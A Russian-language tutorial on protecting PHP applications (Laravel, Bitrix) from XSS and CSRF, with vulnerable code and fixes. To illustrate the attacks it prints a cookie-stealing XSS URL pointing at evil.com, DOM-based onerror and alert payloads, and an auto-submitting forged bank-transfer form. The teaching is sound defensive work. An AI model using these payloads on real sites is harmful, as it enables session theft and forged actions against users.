CSRF и XSS: защита в PHP-приложениях

Разбираем две самые частые веб-уязвимости. Как атакуют, как защищаться, примеры для Laravel и Битрикс.

Дмитрий Мещеряков
Дмитрий Мещеряков
📅 28 сентября 2026 г.📖 8 мин чтения

XSS и CSRF регулярно ставят рядом, хотя это атаки с противоположной логикой. XSS — это выполнение чужого кода на вашем сайте от имени пользователя. CSRF — это выполнение вашего действия с чужого сайта, тоже от имени пользователя. Разные механизмы, разные способы защиты, и путать их дорого: токен от CSRF никак не спасает от XSS, а экранирование вывода — от CSRF.

Есть, впрочем, важная асимметрия, о которой стоит сказать сразу: XSS обходит защиту от CSRF. Скрипт, выполняющийся на вашей странице, читает токен из формы и отправляет запрос как ни в чём не бывало. Поэтому если выбирать, с чего начинать, — начинать нужно с XSS.

Две уязвимости, которые ломают всё

CSRF и XSS — в топ-10 OWASP уже 15 лет. Почему? Потому что их легко допустить и сложно заметить.

УязвимостьЧто делаетЖертва
XSSВыполняет чужой JavaScript в браузере пользователяПользователь сайта
CSRFЗаставляет браузер пользователя выполнить действие без его ведомаСервер, доверяющий браузеру
⚠️ Важно

Обе атаки эксплуатируют доверие: XSS — доверие браузера к сайту, CSRF — доверие сервера к браузеру.

XSS — Cross-Site Scripting

Как работает атака

Злоумышленник внедряет JavaScript-код на страницу. Когда жертва открывает страницу, скрипт выполняется в её браузере.

Пример уязвимого кода:

php
// ❌ Опасно — данные выводятся без экранирования
<h1>Привет, <?= $_GET['name'] ?>!</h1>

// URL: /profile?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Результат: cookies пользователя утекают на evil.com.

Типы XSS

1. Reflected (отражённый) — вредоносный код в URL или форме, выполняется сразу.

text
https://site.com/search?q=<script>alert('XSS')</script>

2. Stored (хранимый) — код сохраняется в БД, выполняется у всех посетителей.

php
// Комментарий с XSS сохраняется в базу
$comment = $_POST['comment']; // <script>...</script>
$db->insert('comments', ['text' => $comment]);

// И выводится всем посетителям
foreach ($comments as $c) {
    echo "<p>{$c['text']}</p>"; // ❌ XSS выполняется
}

3. DOM-based — код выполняется через JavaScript без участия сервера.

javascript
// ❌ Опасно
document.getElementById('output').innerHTML = location.hash.slice(1);

// URL: /page#<img src=x onerror=alert('XSS')>

Защита от XSS

💡 Совет

Экранировать нужно при выводе, а не при сохранении. Это принципиальный момент, который часто делают наоборот.

Причина: способ экранирования зависит от того, куда попадают данные. В тексте HTML-страницы, в атрибуте, внутри JavaScript, в URL и в CSS правила разные — и данные, «обезопашенные» один раз при записи в базу, в другом контексте окажутся либо небезопасными, либо испорченными.

Плюс практическое: экранирование при сохранении портит данные необратимо. Через год выяснится, что в базе лежат &amp;amp; и &quot; вместо нормальных символов, а выгрузка в CSV или отправка в API отдаёт мусор.

Храните то, что ввёл пользователь. Экранируйте в момент вывода, способом, подходящим для конкретного места.

1. Экранирование при выводе

php
// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Laravel Blade — автоматически экранирует
{{ $userInput }}  // ✅ Безопасно
{!! $userInput !!}  // ❌ Опасно — сырой HTML

// Битрикс
echo htmlspecialcharsbx($userInput);

2. Content Security Policy (CSP)

php
// PHP — заголовок
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
nginx
# nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";

CSP запрещает выполнение inline-скриптов и загрузку ресурсов с чужих доменов.

3. HttpOnly cookies

php
// Cookies недоступны из JavaScript
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict',
]);

// Laravel
'session' => [
    'http_only' => true,
    'secure' => true,
    'same_site' => 'strict',
],

4. Санитизация HTML (если нужен rich text)

php
// Используйте проверенные библиотеки
use HTMLPurifier;

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);

$clean = $purifier->purify($dirtyHtml);

XSS в Laravel

Laravel защищает по умолчанию:

php
// Blade автоматически экранирует
{{ $user->name }}  // ✅ htmlspecialchars()

// Но есть опасные конструкции
{!! $user->bio !!}  // ❌ Сырой HTML

// Валидация
$request->validate([
    'name' => 'required|string|max:255',
    'bio' => 'nullable|string|max:1000',
]);

// Санитизация при сохранении
$user->bio = strip_tags($request->bio, '<p><b><i>');

XSS в Битрикс

php
// ❌ Опасно
echo $_REQUEST['search'];

// ✅ Безопасно
echo htmlspecialcharsbx($_REQUEST['search']);

// Или через Битрикс API
use Bitrix\Main\Text\HtmlFilter;
echo HtmlFilter::encode($_REQUEST['search']);

// В компонентах — всегда экранируйте в template.php
<h1><?= htmlspecialcharsbx($arResult['NAME']) ?></h1>
⚠️ Важно

Атрибуты, которые экранирование не спасает. Значение пользователя, подставленное в href, src или в обработчик события, остаётся опасным даже полностью экранированным: href="javascript:..." не содержит ни угловых скобок, ни кавычек и через htmlspecialchars проходит без изменений.

Для адресов нужна отдельная проверка — разбор URL и белый список схем (http, https, mailto). А данные пользователя внутри onclick и подобных атрибутов не должны оказываться вообще: обработчики вешаются кодом, а не разметкой.

CSRF — Cross-Site Request Forgery

Как работает атака

Пользователь авторизован на site.com. Он открывает страницу злоумышленника, которая отправляет запрос на site.com от его имени.

Сценарий атаки:

html
<!-- Страница злоумышленника -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

<!-- Или форма, которая отправляется автоматически -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
  <input type="hidden" name="to" value="hacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>

Браузер автоматически приложит cookies site.com — и сервер выполнит перевод.

Защита от CSRF

1. CSRF-токены

Сервер генерирует уникальный токен и проверяет его в каждом POST-запросе.

php
// Генерация токена
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Форма
<form method="POST">
  <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>" />
  ...
</form>

// Проверка
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    die('CSRF token mismatch');
}

2. SameSite cookies

php
setcookie('session', $value, [
    'samesite' => 'Strict', // или 'Lax'
    'secure' => true,
    'httponly' => true,
]);
ЗначениеПоведение
StrictCookie не отправляется при переходе с другого сайта
LaxCookie отправляется только для GET-навигации
NoneCookie отправляется всегда (требует Secure)

3. Проверка Origin / Referer

php
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';

$allowedOrigins = ['https://mysite.com'];

if (!in_array($origin, $allowedOrigins)) {
    // Проверяем Referer как fallback
    $refererHost = parse_url($referer, PHP_URL_HOST);
    if ($refererHost !== 'mysite.com') {
        http_response_code(403);
        die('Invalid origin');
    }
}

CSRF в Laravel

Laravel защищает автоматически:

php
// В форме — директива @csrf
<form method="POST" action="/profile">
    @csrf
    <input type="text" name="name" />
    <button type="submit">Сохранить</button>
</form>

// Для AJAX — токен в meta-теге
<meta name="csrf-token" content="{{ csrf_token() }}">

// И в JavaScript
axios.defaults.headers.common['X-CSRF-TOKEN'] = 
    document.querySelector('meta[name="csrf-token"]').content;

Исключения для API:

php
// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
    'api/*',           // API использует токены/JWT
    'webhook/stripe',  // Внешние webhook'и
];

CSRF в Битрикс

php
// Генерация токена
$sessid = bitrix_sessid();

// В форме
<form method="POST">
    <?= bitrix_sessid_post() ?>
    <!-- или -->
    <input type="hidden" name="sessid" value="<?= bitrix_sessid() ?>" />
</form>

// Проверка
if (!check_bitrix_sessid()) {
    die('CSRF token invalid');
}

// Для AJAX
BX.ajax.runAction('module:controller.action', {
    sessid: BX.bitrix_sessid(),
    data: { /* ... */ }
});

Комплексная защита

Чеклист безопасности

XSS:

  • Все пользовательские данные экранируются при выводе
  • CSP-заголовок настроен
  • Cookies помечены как HttpOnly
  • Rich-text проходит через HTMLPurifier
  • Inline JavaScript минимизирован или использует nonce

CSRF:

  • Все формы содержат CSRF-токен
  • Cookies имеют SameSite=Strict или Lax
  • API использует Bearer-токены вместо cookies
  • Критичные действия требуют подтверждения (2FA, пароль)

Пример защищённой формы

php
// Laravel
<form method="POST" action="{{ route('profile.update') }}">
    @csrf
    <input 
        type="text" 
        name="name" 
        value="{{ old('name', $user->name) }}"
        maxlength="255"
    />
    <textarea 
        name="bio" 
        maxlength="1000"
    >{{ old('bio', $user->bio) }}</textarea>
    <button type="submit">Сохранить</button>
</form>

// Контроллер
public function update(Request $request)
{
    $validated = $request->validate([
        'name' => 'required|string|max:255',
        'bio' => 'nullable|string|max:1000',
    ]);
    
    // Дополнительная санитизация для bio
    $validated['bio'] = strip_tags($validated['bio'], '<p><b><i><a>');
    
    $request->user()->update($validated);
    
    return back()->with('success', 'Профиль обновлён');
}

Итоги

АтакаЗащита
XSSЭкранирование, CSP, HttpOnly cookies, HTMLPurifier
CSRFТокены, SameSite cookies, проверка Origin

Что проверить в своём проекте

Найдите все места, где вывод не экранируется. В Laravel это {!! !!}, в Битриксе — прямая вставка значений в разметку без htmlspecialcharsbx(). Каждое такое место должно иметь обоснование, а не «здесь же наши данные»: «наши» данные приходят из админки, а в админку попадают через импорт, интеграцию и форму обратной связи.

Проверьте, что CSRF-защита не отключена для отдельных маршрутов. Исключения обычно добавляют для вебхуков — и это правильно, у внешней системы нет вашего токена, — но каждое исключение должно иметь собственную аутентификацию: подпись, секретный заголовок, список адресов. Маршрут без CSRF-токена и без иной проверки открыт для кого угодно.

Настройте SameSite для кук сессии. Современные браузеры применяют Lax по умолчанию, что закрывает значительную часть CSRF-сценариев, но полагаться на умолчание браузера пользователя не стоит — задайте явно.

Помните про порядок приоритетов. Токены, SameSite и проверка Origin — три независимых механизма против CSRF, и они складываются. Но ни один из них не работает, если на странице выполняется чужой скрипт.

💡 Совет

Фреймворки закрывают базовые случаи, и это одновременно хорошо и опасно. Хорошо — потому что защита работает без усилий. Опасно — потому что о механизме не задумываются, пока не возникает нестандартная ситуация: вывод HTML из редактора, отдельный маршрут для интеграции, форма на поддомене. Именно в этих местах защиту случайно и отключают — не со зла, а потому что «иначе не работало».

Практическое правило: любое отключение штатной защиты должно сопровождаться комментарием с объяснением, что применено взамен. Если объяснить нечем — значит, ничего не применено.

Частые вопросы

Чем XSS отличается от CSRF?

Логикой атаки. XSS — это выполнение чужого кода на вашем сайте от имени пользователя: жертва — пользователь сайта. CSRF — это выполнение вашего действия с чужого сайта, тоже от имени пользователя: жертва — сервер, доверяющий браузеру. Обе эксплуатируют доверие, но разное: XSS — доверие браузера к сайту, CSRF — доверие сервера к браузеру. Способы защиты у них тоже разные, и токен от CSRF никак не спасает от XSS.

С какой уязвимости начинать защиту?

С XSS, потому что он обходит защиту от CSRF. Скрипт, выполняющийся на вашей странице, читает токен из формы и отправляет запрос как ни в чём не бывало — никакая проверка токена этого не остановит. Обратное неверно: CSRF не даёт возможности выполнить код на странице.

Когда экранировать данные — при сохранении или при выводе?

При выводе, и это принципиальный момент, который часто делают наоборот. Способ экранирования зависит от того, куда попадают данные: в тексте HTML-страницы, в атрибуте, внутри JavaScript, в URL и в CSS правила разные, и данные, обезопашенные один раз при записи, в другом контексте окажутся либо небезопасными, либо испорченными. Плюс экранирование при сохранении портит данные необратимо: через год выяснится, что в базе лежат служебные последовательности вместо нормальных символов, а выгрузка в CSV отдаёт мусор.

Какие бывают виды XSS?

Три. Отражённый: вредоносный код приходит в адресе или в форме и выполняется сразу — атака требует, чтобы жертва перешла по подготовленной ссылке. Хранимый: код сохраняется в базе и выполняется у всех посетителей страницы, это самый опасный вариант. И DOM-based: код выполняется целиком на стороне браузера через JavaScript, без участия сервера, поэтому серверное экранирование от него не защищает.

Что даёт Content Security Policy?

Второй рубеж обороны от XSS: политика запрещает выполнение встроенных скриптов и загрузку ресурсов с чужих доменов, поэтому даже внедрённый код не выполнится. Это не замена экранированию, а дополнение к нему — на случай, если экранирование где-то пропущено. Плюс кука сессии с флагом HttpOnly становится невидимой для скриптов, что обесценивает саму цель типичной XSS-атаки.

Как защититься от CSRF?

Токеном в форме, который сервер проверяет при обработке запроса: сторонний сайт не может его прочитать из-за политики одного источника. В Laravel это встроенный механизм с директивой в шаблоне, в Битриксе — bitrix_sessid с проверкой через check_bitrix_sessid. Дополнительно помогает атрибут куки SameSite в значении lax: он не даёт браузеру отправлять куку сессии при межсайтовых запросах, изменяющих данные.